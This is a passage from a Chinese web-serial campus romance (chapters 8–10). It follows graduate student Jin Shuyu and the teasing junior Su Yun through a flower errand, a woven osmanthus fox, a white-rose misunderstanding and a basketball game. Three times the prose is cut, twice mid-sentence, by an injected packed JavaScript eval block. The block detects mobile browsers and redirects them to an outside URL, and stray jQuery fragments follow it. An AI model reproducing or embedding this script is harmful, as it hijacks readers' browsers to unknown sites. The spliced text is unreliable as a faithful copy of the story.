盯着衣角看了一眼,金书玉叹了口气:“还不走,我去买水,你想喝什么?” 宿昀闻言,立刻松手点单,“生椰拿铁不加糖,谢谢学姐,刷我的卡吧。” 金书玉还不至于几块钱的东西还要占小孩便宜,自己走了。 提了一杯茉莉青提和生椰拿铁,金书玉回到桌前。 男生吃饭是真的快,买个水的功夫,一盆饭竟然已经下了大半。 她把拿铁放在宿昀面前,自己戳开茉莉青提喝着,视线落在宿昀脸上。 他正埋头吃饭,腮帮子鼓鼓的,像只仓鼠。 金书玉忽然觉得有点可爱。 这人真的好神奇。明明两人加起来不过见了四次,却被他的自来熟搞得像是已经相识许久的模样。 “我吃好了!走吧学姐!送你回去。” 金书玉回过神,发现宿昀面前的餐盘已经一扫而空,眼睛亮亮的,哪还有刚才委屈的影子。 倒是嘴角还沾着一点没擦干净的酱汁。 她指了指自己嘴角。 宿昀愣了一下,反应过来后,调出手机镜头,对着一点点仔细擦掉。 见他对自己的外貌如此慎重的模样,金书玉没忍住,弯了弯嘴角,“这么在意这张脸啊。” 宿昀掐了镜头:“那是,这么一张人见人爱花见花开的脸,我可得保护仔细了。” 说着,他又瞥了一眼金书玉,语调是做作的幽怨:“当然,你这种不算。” 金书玉:“……” 把手机揣回兜里,宿昀抬起餐盘就走,显然忘了自己还有杯拿铁。 见他没注意,金书玉只好拿起杯子追上去,“你的拿铁。” 宿昀回过头,看见她手里的杯子,脚步略停,自然地侧身低头,含住吸管。就着她的手,喝了一大口。 金书玉一愣,宿昀的脸就这么猝不及防地放大在眼前。 眉骨很漂亮,鼻梁高挺。喝饮料的时候,睫毛垂下来,微微颤动着,鼻尖几乎碰到封口膜。 她从来没见过谁喝饮料是这个角度。 还没等她反应过来,宿昀已经先一步退开了。 他把餐盘放到回收台,从她手里接过杯子,晃了晃所剩无几的液体:“走吧。” 而后便像是什么都没发生过一样,大步出了门。 金书玉站在原地,盯着那干脆背影看了两秒。 他刚才……是故意的吗? - 把金书玉送回实验楼,这次有她开道,阿姨总算没拦着,宿昀得以大摇大摆地走了进去。 他单手插兜站在电梯口,丝毫没有身为外来人员的自觉,反而自如地这里逛逛那里摸摸,活像在自己家里一般。 这奇怪的举动加上那张招摇的脸,引得不少路过的研究生侧目。 想做什么是他的自由,金书玉没出面反对。不过,在他想要跟着自己进入电梯时,还是伸手拦住了。 她公事公办地开口:“行了,送到这儿可以了,你回去吧。” “这就赶人啊?”宿昀倒也没纠缠,只多问了一句,“那,学姐平时在哪间实验室?” 金书玉见电梯门快要合上,索性退了出来,站在门边回答:“301,偶尔302,怎么了?” 宿昀耸耸肩,“没怎么。就是万一哪天我路过这儿想找学姐请教一下学术问题,总不能挨个儿敲门吧。” 可真是司马昭的路过。 金书玉想了想,“实验室门禁挺严,最好别来。” 宿昀笑嘻嘻地耍赖,“门禁是死的人是活的,只要学姐想见,这楼我就是翻窗户也要进。” 不对。怎么就成她想见了? 没给金书玉反驳的机会,宿昀挥了下手,转身往大门口走去,大步流星,走路带风。 可就在快要跨出门槛时,他却突然停住了步子,侧过半个身位,模模糊糊地看过来。 也不说话,就只是在那儿站着。 路灯的光从他背后打过来,勾勒出少年英挺的轮廓,光从外形上看,宿昀确实有招摇的资本。 金书玉本还在疑惑他停着干嘛,但眼见着周围经过的人越来越多,打量也越来越明目张胆,这才终于回过味来。 他在等自己松口。 年纪不大心眼还不小,又被他摆了一道。 “行了。”金书玉主动认输,出声打破了沉默,“想过来之前先发微信,我有空会回。” 等的就是这句话。 宿昀勾起一抹得逞的笑,抬手比了个OK的手势,隔着半个大厅喊道:“收到。那学姐忙你的,我们晚上微信联系。” 声音之洪亮干净,十分抓耳,“晚上”和“联系”两个词组并在一起,传达的信息量令人侧目。 现在就被迫成为焦点的金书玉:“……” 见目的达成,宿昀利落地转身,很快融入夜色里。 金书玉站在原地看着他的背影消失,直到电梯发出“叮”的一声提示音才终于回过神。 “金书玉,那是谁啊?长得够俊的。”旁边一个相熟的学姐打趣道。 金书玉面色如常地走进电梯,按下三楼,语气听不出起伏:“一个……很有活力的学弟。” 虽然麻烦了点,但好像,也不讨厌? - 等实验室的灯终于熄灭,她从楼里出来的时候,已经晚上十点五十了。 手机震了震,摸出来,竟然是一个陌生的头像。 楚桓。 这名字有点印象,是下午认错的那个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469526|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对面先打招呼,“金学姐好,刚做完实验么?” “有事?” “也没什么事,就是想问一下金学姐明天有空吗?” 金书玉想了想,明天是给林导打工的日子,“没空。” 她顿了顿,又补了一句:“今天的事,抱歉。我当时认错人了。” 楚桓很快回复:“没事。” “隔了几秒,又弹出一条:“对了学姐,能不能麻烦您帮个小忙?不会占用您太多时间的。” 都说没空了还托人帮忙,金书玉内心腹诽,输入法却依旧和蔼可亲:“你说。” “我订了一束花,打算送给我女朋友。但是明天到另一个校区去上课,回来太晚,怕花蔫了,所以想麻烦学姐帮我去取一下。” 金书玉觉得奇怪:“你舍友呢?” 楚桓发了个省略号过来,“交给他们?别说蔫了,枝条还能完整着就不错了。” 好吧,真是个让人无法反驳的理由。 事情听起来也不算麻烦,金书玉便应了下来。 第二天,金书玉跟着林导,操作实验仪器。原本以为这个小组会有很多人,结果进组后,她发现只有自己和另一个博士师姐。 当时导师跟她说的时候,只大概说了肿瘤靶向药,具体内容,她没问也没细看。 现在加入到这个组里后,她才发现,自己似乎不完全是打工的,导师是真的想让她参与研究。 博士师姐把一摞文献资料推到她面前,“先看这个,CLDN18.2①,咱们项目的靶点。” 金书玉翻了几页。胃癌晚期,以现有的手术、化疗、药物治疗等方式,病人的生存期大多不超过一年。全球第一款靶向药刚在M国获批,这项研究目前在国内还是空白。 她抬头看向博士师姐:“所以咱们要做的是……” “跟进。”博士师姐耸耸肩,“说白了,就是人家走通了的路,咱们也得走一遍。” 金书玉沉默了一会儿,又低头看文献。 师姐拍拍她的肩:“别紧张,路还长着呢。其它不用管,先把导安排给你的那管细胞养活了再说。” - 完成上午的工作后,金书玉出了实验室,按照楚桓发来的取件信息,取到了一束向日葵。 花束包得很用心,明亮的黄色在午后的阳光下摇曳,有些晃眼。 倒是没想到,看着冷冷清清的人,会买这样的花。 金书玉抱着花回了宿舍,按楚桓说的,用洗衣服的桶接了水,滴入营养液,把花拆开,一支支泡进去。 弄完这些,她又回了实验室。 等金书玉再从实验室里出来的时候,已经晚上十点多了。 她回宿舍取了花,重新捆好,抱到楚桓宿舍楼下。 看着楼门口来来往往的人,金书玉感觉头有点晕,找了个角落的位置站着,给楚桓发消息。 消息发出去没多久,便有人推开楼门,走了出来。 但她还没来得及看清是谁,熟悉的声音就先一步钻进耳朵:“学姐!” 金书玉回头,看见两个差不多高的男生正朝自己走来。一个戴着眼镜,服装依旧上白下黑,另一个没戴,身上是张扬热烈的红。 看到那抹红的一瞬间,金书玉脑海中划过一个念头。 这才是宿昀该有的样子。 既然没戴眼镜的是宿昀,那么相对应的,戴眼镜的那个,应该就是楚桓。 她抬脚迎上去。 宿昀却先一步跨到她面前,笑得眼睛弯弯的,伸手就去接她怀里的花:“来就来了,还带什么花嘛——” 金书玉伸手一递,花束擦着他的指尖过去,落进另一个人怀里。 “楚同学,你的花。” 宿昀的手僵在半空。 楚桓倒是大大方方地接过,还笑了笑:“谢谢金学姐,改天请您吃饭。” 8. 狐狸 宿昀看看楚桓,又看看金书玉,见两人交流和谐,顿时满脸不爽。 直接出声打断:“学姐,你好偏心啊。怎么光他有,我就没有呢?” 话题突然被掐断,金书玉注意力转移过来,听到宿昀的纠缠,简直费解:“他让我帮忙取的,你又在这添什么乱?” 宿昀双手往兜里一揣:“我不管,反正我也要!” “你都多大了还……” 金书玉正想和他理论一番,一旁的楚桓忽然出声打断,镜片后的神情笑眯眯的:“谢谢学姐,我女朋友收到花一定会很高兴,就不打扰你和宿昀聊天了。” 金书玉一心只想和宿昀掰扯清楚,敷衍地点了几下头,任由他离开了。 宿昀见状,眼里掠过一抹笑意,又很快收敛了。 “听见没,人家多懂事,我就是帮个小忙。” 宿昀理直气壮:“可我都没拜托学姐帮过什么忙哎,懂事的不应该是我吗?” 金书玉:“……” 好像是哦。 再争辩下去,她压根说不过这个满嘴歪理的小孩。金书玉叹了口气,决定主动服软:“可你让我现在上哪弄花去,不然等……” 说着,她视线突然一顿。 路口//交叉的地方,一株裹着花苞的桂树在晚风中轻轻摇曳,金书玉心下忽然有了主意。 不就是花么? 这不到处都是。 “你等我一下。” 金书玉丢下一句话,让宿昀待在原地别动,蹑手蹑脚地凑到那棵桂树旁。 她微微踮脚,指尖灵巧地攀上枝头,在香气馥郁的碎花簇间,折下了一簇还带着凉意的桂枝。 花苞半含,那股馥郁清新的浅淡香气顺着指尖爬上袖口,萦绕在鼻息间,久久不散。 本想直接把枝条递给宿昀,又觉得有些过于单调。想了想,她干脆走到旁边的石阶上坐下,把枝条放在膝头,纤长的手指灵巧地翻飞,编折着枝条。 宿昀就站在几步开外的阴影里,视线一直跟着金书玉移动。 浅黄的路灯从她头顶斜斜打落,将她整个人松松地笼进那一小片暖光里。空气中浮动的细小尘埃,在光柱中缓慢地盘旋,远远看去,像细碎的雪。 宿昀从未见过这样的人。 她原本像青山寒雪,举手投足都透着股拒人于千里之外的清冷。可当她低头摆弄花枝时,眉眼间流淌出的那抹平和与温柔,却将那层包裹在外的清冷漠然揉碎了,化作一汪春水。 金书玉浑然不觉,专注地完成手上的工作。 随着最后一截枝条利落地收紧,一只胖乎乎的草编小狐狸躺在了她的掌心,透着淡淡的桂花清香。 她翘起嘴角,满意地打量着自己的作品,然后抬起头。 宿昀正站在她身侧,为了不挡住她的光线,刻意退后了半步,将影子与她所坐的区域错开。 大红色的衣服张扬热烈,版型有些宽大,晚风一吹,后背整个儿鼓起,从金书玉的角度看去,像一团燃烧炽烈的火。 他淡笑着,静静地看着她。 明明他并未站在灯下,金书玉却被阴影中的那抹笑容晃了眼,视野里仿佛只剩下那团炽烈的红。 好一会儿,她才略显仓促地找回声音,摊开双手,草编小狐狸憨态可掬地坐在莹白如玉的手中。 嗓音中夹着微不可察的慌乱,“这个……给你。” 宿昀却没有看向她手中的东西,视线直接停留在她的脸上。 刚才坐在路沿,路口风将她的头发吹乱了一些,原本别在耳后的头发也散落下来,垂在耳侧,随着夜风轻轻晃荡。 鬼使神差地,宿昀伸出了手。 粗粝的指腹擦着白皙的侧颊过去,两人皆是一怔。 宿昀却没有退缩的打算,手指勾住发丝,轻轻地在发尾处打了个圈,停留了几秒钟,才把头发重新别到了她耳后。 “头发乱了。”他低声说。 金书玉愣愣地看着他,寂静的夜色里只有她的心跳在鼓噪。 宿昀似乎察觉到气氛不对,飞快地缩回手,有些不自在地轻咳一声,状似无意地戳着金书玉掌心的狐狸,转移话题,“这什么东西?狗?” 金书玉看着被他戳歪了耳朵的小狐狸,原本升起的那点旖旎心思瞬间变成了气恼,瘪嘴着替它申诉:“……这是狐狸,眼神不好就去配眼镜。” 宿昀“哦”了一声,“长得跟狗差不多的狐狸。” 金书玉瞪了他一眼,作势要合拢手掌:“这么嫌弃,不要算了。” “哎,别呀。”宿昀动作极快地按住她的手背,从她掌心夺过了那只狐狸。 捏在自己指尖拨弄了一下,宿昀忽然开口:“书玉。” “嗯?” 金书玉应了一声,而后才反应过来,他刚刚好像叫的是自己的名字。 没等她细想,宿昀继续道:“明天,周日下午三点,你来看我打球吧。” 停了几秒钟,他又加上句:“好不好?” 尾音微微扬起,像个小钩子一样,有点勾人。 摸了摸有些发烫的耳垂,金书玉不自在地往旁边避了避。看他那副期待的样子,拒绝的话莫名就说不出口。 她回忆了一下自己周日的日程,应该能赶过去,垂眸点了点头。 宿昀得寸进尺,“听说别的球员都有人送花。我喜欢白玫瑰,到时候学姐送我好不好?” “我为什么要送你花……”金书玉话还没说完,见宿昀刚缓和的神情又有转变的征兆,果断调转话头:“好。” 宿昀满意了。 答应完,金书玉才觉出味儿来,狐疑地看着他,“不对啊,楚桓买花是为了送他女朋友,我给你买花算什么?” 宿昀愣了一下,随即眉梢扬起来,“那当然是——” 他顿住,没说下去,卖了个关子:“你猜?” 金书玉瞥了他一眼:“谁知道你一天到晚在想些什么。” 宿昀笑着没接话,长腿一迈,跟上了她。 经过男生宿舍的时候,金书玉见他没有拐弯的意思,开口问道:“你的宿舍不是这里吗?” 宿昀笑眯眯的:“我送学姐。” 金书玉不解:“我多大个人了,这几步路又不会走丢……” “走啦,学姐,给个机会嘛。”宿昀又一次黏黏糊糊地拖长了语调。 金书玉最受不了他这样讲话,立马叫停,跟了上去。 晚风送来桂花的残香,路灯下,两人的影子不时交叠,只有脚踩落叶发出的沙沙轻响。 在这一片带着细微响动的安静中,身后忽然炸开一声惊天动地的哀嚎: “天杀的!谁动了我的课程作业——!” - 回到宿舍,宿昀将那只草编小狐狸搁在书架最显眼的位置。 指尖还残留着微凉的触 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469527|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感和那股浅淡的桂花香。他仰头靠在椅背上,闭上眼,脑子里全是金书玉在路灯下垂眸编织的侧影。 那种清冷与温柔相交织,冰化雪融带来的冲击力,直到现在还没从他血管里褪下去。 他“啧”了一声,喉结不自觉地上下滑动,心底莫名升起一股焦灼的念头。 不知道自己是怎么了,有点烦躁。 念头尚未完全压下,宿舍门被噼里啪啦地推开,宿昀头都不用抬就知道只会是陈凯,随意招呼了一声,便没再理会。 陈凯不知发生了什么,从踏进门就开始骂骂咧咧:“天杀的!别让我抓到是谁,居然把我好不容易养出来的课程作业给折了!那可是我求爷爷告奶奶才弄到的金桂苗!” 宿昀撑着额头的手蓦地一僵。 他微微侧头,目光落在那只散发着幽香的小狐狸身上,太阳穴突突跳了两下。 不会吧…… 面无表情地站起身,宿昀一把将狐狸拢入手心,顺手抓起桌上的玫瑰香水在空气中野蛮地喷了几下。 浓郁的大马士革玫瑰味瞬间盖过了桂花的清冷,霸道地占据了整个房间。 陈凯吸了吸鼻子,狐疑地看向他:“你抽什么疯?大半夜喷什么香水……等等,这味儿不对啊?” 说着,脑袋就凑了过来。 宿昀还没来得及躲,陈凯已经眼尖地看到他手心里露出的一角绿色。 “你手里藏的什么?” 宿昀见藏不住了,只好摊开手。 陈凯盯着那只做工精巧的小狐狸,安静了三秒,随后一把抓起小狐狸凑到鼻子跟前,熟悉的桂花香直冲天灵盖。 他一秒崩溃,爆发出凄厉的怒吼:“宿昀!你个畜生!你竟然拿我的学分去哄妹子?!” “我的亲亲作业!我的桂花!我好不容易养出来的花苞!”陈凯语无伦次,指着宿昀的手指都在抖,“你、你你你——” “小声点。”宿昀自知理亏,心虚地把狐狸重新放回书架上,“说吧要什么?给你报销。” 陈凯的悲愤在听到报销的一瞬间烟消云散,张嘴就敲诈了一款限量版球鞋。 宿昀笑骂他一句“真贪”,但还是给他报销了。 等陈凯兴奋地去洗漱,一直靠在旁边看戏的楚桓才推了推眼镜,笑得意味深长:“还以为你会把学姐供出来。” 宿昀撇撇嘴:“怎么可能。” 以陈凯那性格,要是知道这东西是金书玉编的,指不定明天就得借着赔罪的名义去加微信。金书玉又是个脸盲,万一真把那货当成什么好人聊上了,他找谁说理去? 但这事儿嘛……可没完。 他得找正主讨点利息。 宿昀仰躺在床上,点开那个简洁的头像,修长的手指在屏幕上快速敲击:“学姐,今天那小狐狸可贵了,花了我一千二。” 金书玉很快发来一个“?” 宿昀把情况大致说明,末了,还不忘给自己谋福利:“所以学姐,你想好怎么补偿我了么?” 金书玉自知理亏:“……那我把钱转给你。” 宿昀勾着唇角,“谁要你的钱?” 那边沉默了很久,才回了一句:“……那你想要什么?” 盯着那行字看了半晌,宿昀指骨在被子上轻轻摩挲几下,像是在回忆之前那细微的接触。 最终,他只打下一句话。 “还没想好,先存着吧。” 9. 玫瑰 金书玉刚推开宿舍门,就撞上了专门拦截她的钱乐乐。 顶着一脸面膜,钱乐乐从门后突然出现:“呔!从实招来,你干什么去了?现在已经是京市时间半夜十一点半,实验室不是十点五十就关门了么?” 金书玉老实交代:“去给一个学弟送花。他让我帮忙取的。” 这表述一听就像有瓜,钱乐乐凑了过来,“哎哟,给学弟送花,哪个学弟啊?我认识不?是不是之前见到那个?” 楚桓这人,金书玉满打满算也就见了两次,很难回答钱乐乐的问题:“应该……帅吧?昨天刚认识,花是买给他女朋友的。” 一听对方有女朋友,钱乐乐当即没了兴趣,“切”了一声,拖着拖鞋坐回自己位置上。 金书玉把衣服挂好:“倒是你,你和那个什么……183体育生怎么样了?” 钱乐乐拍着面膜:“就那样啊。周末他们有比赛,还让我去看呢。” 一听到周末比赛,金书玉面色顿时古怪起来。 钱乐乐见她没了下文,扭头看过来:“怎么,你也想去啊。” 没说自己和宿昀之间发生的事,金书玉心虚地点头:“嗯。” “行呗,那到时候一起。” 话题停了一瞬,金书玉试探着问:“那比赛结束,你打算给他送点什么吗?” 钱乐乐“啊”了一声:“一起吃顿饭差不多了吧,他经常打比赛哎,哪有那么多可送的。” 金书玉似懂非懂地点头,端上水盆准备出门。 “等一下,”钱乐乐喊住了她,又小步跑到她面前,绕着转了一圈,像是大型犬进行侦查的惯有造型。 “你不对劲,你非常不对劲。要没事的话,怎么可能突然问我送礼的事?说吧,在我不知道的时候,你发生了什么?” 金书玉默了默,感觉瞒不下去了,索性摊开了讲:“是宿昀。” “谁?” “徐添那个队友。” 钱乐乐反应了一下把人对上号,回味过来后,一双漂亮的桃花眼转了转,贱兮兮地凑到金书玉面前,“之前不是还不~认~识~么,怎么,这才短短几天,他就约你去看球赛了?” 金书玉别开脸,表情有些不自然。 钱乐乐趁热打铁:“可终于知道送人家东西啦,可以啊姐妹,开窍了就是不一样哈。” 关开窍什么事? 金书玉觉得这事儿得说清楚:“他让我送的。” “切,人家让你送你就送,你是许愿池吗?” 嘶,好像是这么个理。 手指扣着塑料盆边缘,金书玉眉头微蹙,表情纠结:“可我已经答应他了。” “哦,那就送呗。他让你送啥?” “白玫瑰。” 声音陡然拔高:“啥?” 金书玉被她的反应吓了一跳:“……白玫瑰,怎么了?” 钱乐乐没回答,一把拽下面膜:“他跟你什么关系?” 金书玉茫然:“一个学弟啊。” 钱乐乐叹了口气,站起身拍拍她的肩,语气意味深长:“你先查查白玫瑰的花语吧。” 说完,拖着拖鞋出门了。 金书玉一头雾水,摸出手机。在浏览器上搜索白玫瑰的花语。 一大片卖花的链接弹了出来,金书玉扒拉了几下,看到了一个靠谱的分析帖,点进去。 白玫瑰花语:纯洁的爱情,甘心为你付出所有,我足以与你相配。 手机立刻熄屏,扣在胸口。 宿昀他……什么意思? 金书玉盯着天花板发了一会儿呆,脑子里乱糟糟的。一会儿是宿昀伸手时亮晶晶的眼神,一会儿又是没拿到花之后的失落神情。 他故意的? 还是自己想多了? 金书玉坐起来,重新拿起手机,在浏览器上搜索:适合送朋友的花束。 大篇幅的网页推荐黄百合。 感激、快乐、高贵。 很符合她对宿昀的印象。 在卖花的界面犹豫了许久,金书玉最终还是从白玫瑰的界面划走,定了一大束黄百合。 订完以后,为避免自己再反悔,她果断地放下手机,洗漱去了。 周日下午两点五十的时候,金书玉从实验楼跑出来,手里还抓着一瓶透明液体,飞快冲向篮球场,在门口碰到了埋在花束中间的钱乐乐。 “谢谢乐乐,给我吧。”硕大的花束瞬间淹没了金书玉。 “还没开始吧?”她努力把气喘匀,问道。 “正准备开始,在里面听裁判说话呢。” “学姐!” 两人聊天的间隙,宿昀爽朗的声音从门口传来。 他今天穿着正红色的19号背心,手臂上绑了黑色的护腕和护肘,正红色的短裤刚刚没过膝盖,露出流畅的肌肉线条。 开朗阳光的大男孩眉目张扬,正朝她挥手。 周围若有似无的视线飘过来。 金书玉有些不太自在,站在原地没动。只是犹豫的当口,宿昀已经抬脚走了过来。 在看清宿昀的脸之前,头顶先有一片阴影笼罩下来,紧接着,一顶鸭舌帽稳稳落在头上。 金书玉下意识抬手去扶,指尖碰到帽檐的时候,宿昀的脸近在咫尺。 他正半屈着膝,视线与自己齐平,耐心交代:“太阳大,帽子学姐先带着。上面标着19号,和我身上的号码是一样的。学姐要是忘记了的话,就把帽子拿下来看看,这次——” 宿昀眨了下眼:“学姐可不许再认错人了哦。” 前两次乌龙被超经意地再次提起,金书玉莫名觉得臊,绷着脸点点头。 垂眸看向她怀里的黄百合,宿昀又道:“这花——这次是给我的了吧?” 见他没纠结花种,金书玉连忙双手递出,很有诚意,“嗯。加油!” 宿昀双手接过,站直身子后,低头轻轻嗅了一下,眯着眼笑,虎牙若隐若现,“谢谢学姐,我很喜欢。” 金书玉捏着衣摆,硬着头皮扯谎:“那个,订的人太多了,我没订到白玫瑰……” “这不巧了。” 宿昀笑着接过话头,变戏法似地,忽地从身后变出了一支白玫瑰。 “学姐没订上,正好我定上了。这枝,就送给学姐吧。” 拳头大小的花朵递到了自己面前,淡淡的香味丝丝缕缕缠绕在鼻尖。 金书玉愣愣地接过。 “学姐,等会儿在场里人多,比较乱,我有点难找人。举着这枝花,我就能看到学姐在哪里了。” 单枝的玫瑰花没有整束那么扎眼,却依然足以看清,在嘈杂喧闹的环境中,居然分外合适。 金书玉攥着枝干,“……你好好打球,往场上看做什么?” 宿昀理所当然,“这不是有学姐在嘛。” 金书玉不说话了。 两人往球场里走,纠结了一会儿,金书玉试探出声:“宿昀……你知不知道,白玫瑰的花语是什么?” 场上人声嘈杂,宿昀可能是没听清她在说什么,微微倾身侧头,往金书玉的身边靠了靠:“嗯?” 离得太近了,温暖干燥的呼吸擦过颈侧,金书玉感觉颈侧痒痒的,很不自在,只能扔下一句:“没事,我先去看台了。” 随后落荒而逃。 宿昀盯着她的背影慢慢淹没在人群中,这才慢悠悠地收回视线。 转身的时候,刚好看到钱乐乐在徐添的侧脸上亲了一下,徐添麦色的皮肤上蹭出一点红印,四周霎时传来嘘声一片。 宿昀盯着那个场景,脑子里忽然冒出刚才金书玉的样子。 不知道涂了什么,她的唇看上去水润润的,唇珠很丰满,触感应该……很好。 ……想什么呢。 宿昀摇摇头,晃掉了自己脑子里混乱的画面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469528|201401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宿昀!”队友开始喊人。 “来了!”宿昀应了一声,抬手捞住朝自己飞过来的球,大步走过去。 途中抬起头,视线穿越重重人头屏障,目光精准地落在了看台最后的那枝玫瑰上。 金书玉戴着鸭舌帽,低着头,手里举着那朵玫瑰花,有一搭没一搭地轻微摇晃着。 花语啊。 他怎么可能不知道。 - 这是帝都大学和帝都理工大学的新生篮球比赛,两边都派出了篮球校队的成员,实力相当。 帝都理工大学来的学生不多,但球员大多挺帅,帝都大学的学生也都笑纳了,给他们加油助威,客场打出了主场的气势。 虽然金书玉不太懂篮球,但也看得出来这是一场精彩的比赛。 宿昀穿着那身19号红白球衣,在大开大合的攻防转换中,每一个动作都透着股从容的狠劲。 运球,变向,三步上篮。 动作流畅,姿势漂亮。 看台上的尖叫声几乎要掀翻顶棚,但宿昀充耳不闻。他的视线在每一次折返跑的间隙,都会似有似无地掠过看台最后一排。 金书玉正坐在那儿,手里那枝白玫瑰在喧嚣的背景中,清冷却扎眼。 很快,中场哨响。 金书玉看到钱乐乐破开人潮,一路披荆斩棘挤到第一排,给徐添送水擦汗。两人凑在一起说了些什么,姿态十分亲昵。 视线不太自在地挪开,正好对上了宿昀满含笑意的眼睛。 隔着人山人海,两人的视线在燥热喧嚣的球场半空交汇。 宿昀张了张嘴,似乎说了句话。还没等她看清口型,下半场的哨声就响了。 金书玉坐在看台上,脑子里反复回放他嘴唇开合的幅度。 他刚刚……说什么了? 下半场徐添像是打了鸡血,打得十分凶悍。宿昀和他配合极佳,一传一投,单手扣篮。 态度之狂妄,动作之嚣张,掀起场边观众一阵又一阵欢呼。 抬手,接球,起跳,当最后一个球稳稳扣进篮筐,宿昀动作和神情都帅得标准且体面。 “哔——” 比赛毫无悬念地结束。 宿昀站在场上,大口喘着气,眼睛却穿过层层人群,精准地落在那枝还在轻轻摇晃的白玫瑰上。 朝看台边走过去的时候,他笑着朝坐在最后的金书玉招手,对方也晃了晃玫瑰回应,但人没动,依旧稳稳地坐在原位,完全没有要下来的意思。 旁边徐添已经喝上女朋友递的水了,两人凑在一块儿嘀嘀咕咕,看着腻歪得很。 宿昀收回视线,抬手挡开旁边递过来的水和毛巾,嘴角还噙着笑:“有人送了,谢谢。” 说完,长腿一勾,翻过护栏,几步就跨到了金书玉面前。 正打算往前迈步,却在距离她半米的地方停了下来,抬手扇风,试图让自己身上的汗液快速蒸发。 “学姐。”他嗓音略哑,呼吸间带着剧烈运动后的急促,“我的水呢?” 这要求提得突然,金书玉“啊?”了一声,有些无措地站起身:“我,我没准备。” 宿昀眼尖地瞄到她座位旁边放着一个透明塑料瓶,里面的无色液体浅了一些,估计是刚喝过。 “这是你的?我没带,学姐给我喝一口。”他单手捞过瓶子,没等回答,就当着她的面拧开了盖子。 “等一下,那个不能喝,是……” 宿昀压根没给她阻拦的机会,仰头猛灌,一口气灌下去大半瓶,下一秒,一股咸涩的味道直冲天灵盖。 宿昀的笑容僵在脸上。 什么玩意儿? 喉结艰难地滚动,宿昀拼命和嘴里那股诡异的味道作斗争。 奈何周围人太多,他到底没好意思吐出来,最终只能硬着头皮往下咽。 “……是生理盐水。” 金书玉无奈补充。 10. 备注 那口生理盐水确实咸得过分,宿昀眉头拧得极紧,良久,才压下了喉中的涩意。 金书玉紧张地看着他:“你还好吗?” 宿昀慢吞吞地拧上瓶盖:“不太好,学姐。” “那……”金书玉想了个比较折中的法子,“我去给你买水。” “不用麻烦,”宿昀一把拽住她的袖子,站起身:“一起去吧。” 金书玉低头看了一眼被他攥住的袖口,视线不受控制地落在那只手上。 修长的指尖,分明的指骨,指甲修剪得整齐干净。除了篮球蹭下的一点灰,看不出半点劳作的痕迹。 金书玉虽然脸盲,但由于自己的专业性质,对手的敏感度很高。 这显然是一双养尊处优的手,相当漂亮。 她盯着看了好几秒,等意识到自己在看什么的时候,耳根忽然有点热。 “……好。” 宿昀当即行动起来,和队友打了声招呼,说自己不去聚餐了,又托人把花束送回宿舍。 看着他安排好一切,金书玉抬手压了压帽檐,和他一前一后走出球场。 一路上有不少人和宿昀打招呼,他笑着一一回应,人缘很好的样子。 偶尔有或明显或隐晦的视线飘过来,宿昀总会不动声色地侧一步,把她挡在身后。 看出了他动作明显的含义,也没人自讨没趣上前询问。 金书玉走在他身侧,不急不缓。偶尔在他和人打招呼的时候,也微微抬头,看上一眼。 大多数都是男生,在她眼里都长得差不多。 还没宿昀有辨识度。 两人并肩走了一会儿,宿昀侧过头,看金书玉手里依旧乖乖地捏着那枝玫瑰。 “学姐,”他指了指花,“再帮我折个狐狸呗。上次那个桂花已经蔫了,估计撑不了几天就会枯掉。” 金书玉看了一眼手里的玫瑰,玻璃纸包装在阳光下折射出细碎的光,衬得花瓣越发柔和。 “可这个包装很好看。” 宿昀满不在乎:“包装再买就是了。学姐折的东西可不常有。” 金书玉抬眼看他,高大的男孩站在自己身旁,眸光里盛满笑意,表情期待。 此时距离下午五点还有半刻钟,阳光依旧打头照着,穿过行道树的枝叶,落下一地的斑驳光影,在两人之间轻轻晃动。 明明是条开阔的大路,周围行人无数,金书玉却有点走神,像是这里只剩下他们两个人。 宿昀离她很近,近到她只要稍稍抬手就能碰到。 她有点不自在,抿了抿唇:“可是,玫瑰也是会枯萎的。” “那做成标本行不行?”宿昀歪头看她,“我看网上有人弄过这个,据说能放好久。” 标本其实也不能保证永远。 但这话金书玉终究没说出口。 她轻轻舒了口气,垂下眼,把包装纸拆了,只留下花枝,在手里弯折了几番,最后把硕大的花朵在枝条间固定好。 很快,一个玫瑰花作为尾巴的,胖乎乎的小狐狸在手里成型。 宿昀惊喜地从她手里捧了去,指尖戳了戳花朵。 小狐狸摇着大尾巴,像是在和他打招呼。 “学姐你看,它在和你打招呼哎!”宿昀眼神亮晶晶地,将小狐狸举到金书玉眼前,掌心微微弓起,左右晃了晃。 金书玉瞥了一眼,不免好笑:“幼稚。” “这多可爱啊,哪里幼稚了。”宿昀一本正经地纠正。 